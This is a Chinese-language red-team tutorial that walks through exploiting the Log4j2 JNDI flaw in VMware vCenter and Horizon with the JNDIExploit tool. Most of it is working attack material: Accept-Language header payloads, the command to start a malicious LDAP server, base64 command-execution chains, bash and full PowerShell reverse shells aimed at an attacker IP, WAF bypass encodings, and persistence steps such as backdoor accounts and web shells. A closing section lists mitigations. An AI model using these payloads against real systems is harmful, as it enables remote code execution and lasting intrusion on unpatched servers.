从攻击者视角拆解Log4j2：手把手教你用JNDIExploit复现VMware vCenter漏洞

红队实战：深度解析Log4j2漏洞在VMware环境中的利用与防御

当安全研究人员首次发现Log4j2漏洞时，整个网络安全界为之震动。这个看似简单的日志记录组件漏洞，却能在特定条件下演变成远程代码执行的致命威胁。本文将带您从攻击者的视角，一步步拆解这个漏洞在VMware产品中的利用过程，同时也会探讨如何有效防御这类攻击。

1. Log4j2漏洞核心原理剖析

Log4j2作为Java生态中广泛使用的日志记录工具，其漏洞(CVE-2021-44228)的严重性源于它支持JNDI(Java命名和目录接口)查找功能。当应用程序记录包含特定格式的字符串时，如${jndi:ldap://attacker.com/exploit}，Log4j2会尝试解析并执行这个JNDI查询。

漏洞触发条件有三个关键要素：

1. 应用程序使用受影响版本的Log4j2(2.0-beta9到2.14.1)
2. 应用程序记录了攻击者可控的输入(如HTTP头、表单数据等)
3. 目标服务器能够出网连接到攻击者控制的LDAP服务器

在VMware产品中，许多组件如vCenter和Horizon都使用Log4j2进行日志记录。攻击者发现，通过精心构造的HTTP请求头(如Accept-Language)，可以触发漏洞执行任意代码。

2. 实验室环境搭建与工具准备

为了安全地研究这个漏洞，我们需要搭建一个隔离的测试环境。以下是推荐的实验室配置：

靶机环境：

• VMware vCenter Server 7.0 U3 (未打补丁版本)
• 或 VMware Horizon 8.x (未打补丁版本)

攻击机环境：

• Kali Linux 2022.x
• Java 8或11运行环境
• 网络可达靶机(建议使用虚拟网络)

所需工具清单：

注意：所有实验应在授权环境下进行，避免对生产系统造成影响。

3. 漏洞利用实战：从探测到RCE

3.1 初步漏洞验证

在发起完整攻击前，我们需要确认目标是否存在漏洞。使用DNSLog平台是最安全的方式：

# 生成一个唯一的DNSLog域名 curl https://dnslog.cn/getdomain

构造包含JNDI查找的HTTP请求：

GET /portal/info.jsp HTTP/1.1 Host: target-vmware.example.com Accept-Language: ${jndi:ldap://your-subdomain.dnslog.cn/a}

如果DNSLog平台收到查询记录，则确认漏洞存在。

3.2 搭建恶意LDAP服务器

使用JNDIExploit工具启动恶意LDAP服务：

java -jar JNDIExploit-1.4.jar -i your-attacker-ip -p 8888

工具参数说明：

• -i：指定攻击者IP(接收反弹shell)
• -p：LDAP服务端口(默认1389)

3.3 构造RCE攻击链

现在我们可以构造执行命令的payload。以执行whoami命令为例：

1. 首先对命令进行Base64编码：

echo -n "whoami" | base64 # 输出：d2hvYW1p

2. 构造恶意请求：

GET /portal/info.jsp HTTP/1.1 Host: target-vmware.example.com Accept-Language: ${jndi:ldap://your-attacker-ip:1389/Basic/Command/Base64/d2hvYW1p}

3. 观察JNDIExploit控制台，将显示命令执行结果。

3.4 获取交互式shell

为了获得更持久的访问，我们可以设置反弹shell：

1. 在攻击机上启动监听：

nc -lvnp 4444

2. 生成反弹shell命令(根据目标系统调整)：

# Linux目标 echo -n "bash -i >& /dev/tcp/your-attacker-ip/4444 0>&1" | base64 # Windows目标 echo -n "powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('your-attacker-ip',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0,\$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\"" | base64

3. 将生成的Base64字符串插入JNDI payload中发送。

4. 高级利用技巧与限制规避

在实际渗透测试中，我们经常会遇到各种限制条件。以下是几种常见场景的解决方案：

4.1 目标不出网情况下的利用

当目标服务器无法访问外部网络时，传统的LDAP外连方式会失效。此时可以考虑：

1. DNS隧道技术：利用DNS协议外传数据
2. 内部JNDI资源注入：如果目标能访问内部某些服务
3. 二次漏洞利用：先获取有限权限再横向移动

4.2 绕过WAF防护

现代WAF通常会拦截包含${jndi:的请求，可以尝试以下绕过技巧：

• 大小写变异：${JNDI:LDAP://...}
• 嵌套表达式：${${lower:jndi}:...}
• URL编码：%24%7Bjndi%3Aldap%3A%2F%2F...%7D
• 空白字符插入：${jndi: ldap ://...}

4.3 权限维持技术

获得初始访问后，应考虑建立持久化机制：

1. 创建计划任务（Windows）或cron作业（Linux）
2. 添加后门账户
3. 部署Web shell
4. 利用VMware特有机制（如vCenter插件）

5. 防御措施与最佳实践

理解了攻击原理后，我们可以更有针对性地构建防御体系：

即时缓解措施：

1. 升级Log4j2到2.15.0或更高版本
2. 设置JVM参数：-Dlog4j2.formatMsgNoLookups=true
3. 删除Log4j2-core jar包中的JndiLookup类

网络层防护：

• 出站流量过滤，限制LDAP/RMI等协议
• WAF规则更新，拦截JNDI注入尝试
• 网络分段，隔离关键系统

长期安全加固：

1. 实施最小权限原则
2. 建立完善的补丁管理流程
3. 定期安全评估和渗透测试
4. 日志集中监控与分析

在实验环境中复现这类高危漏洞时，我深刻体会到及时打补丁的重要性。许多企业在漏洞公开数月后仍未修复，给了攻击者可乘之机。安全是一个持续的过程，需要技术和管理措施双管齐下。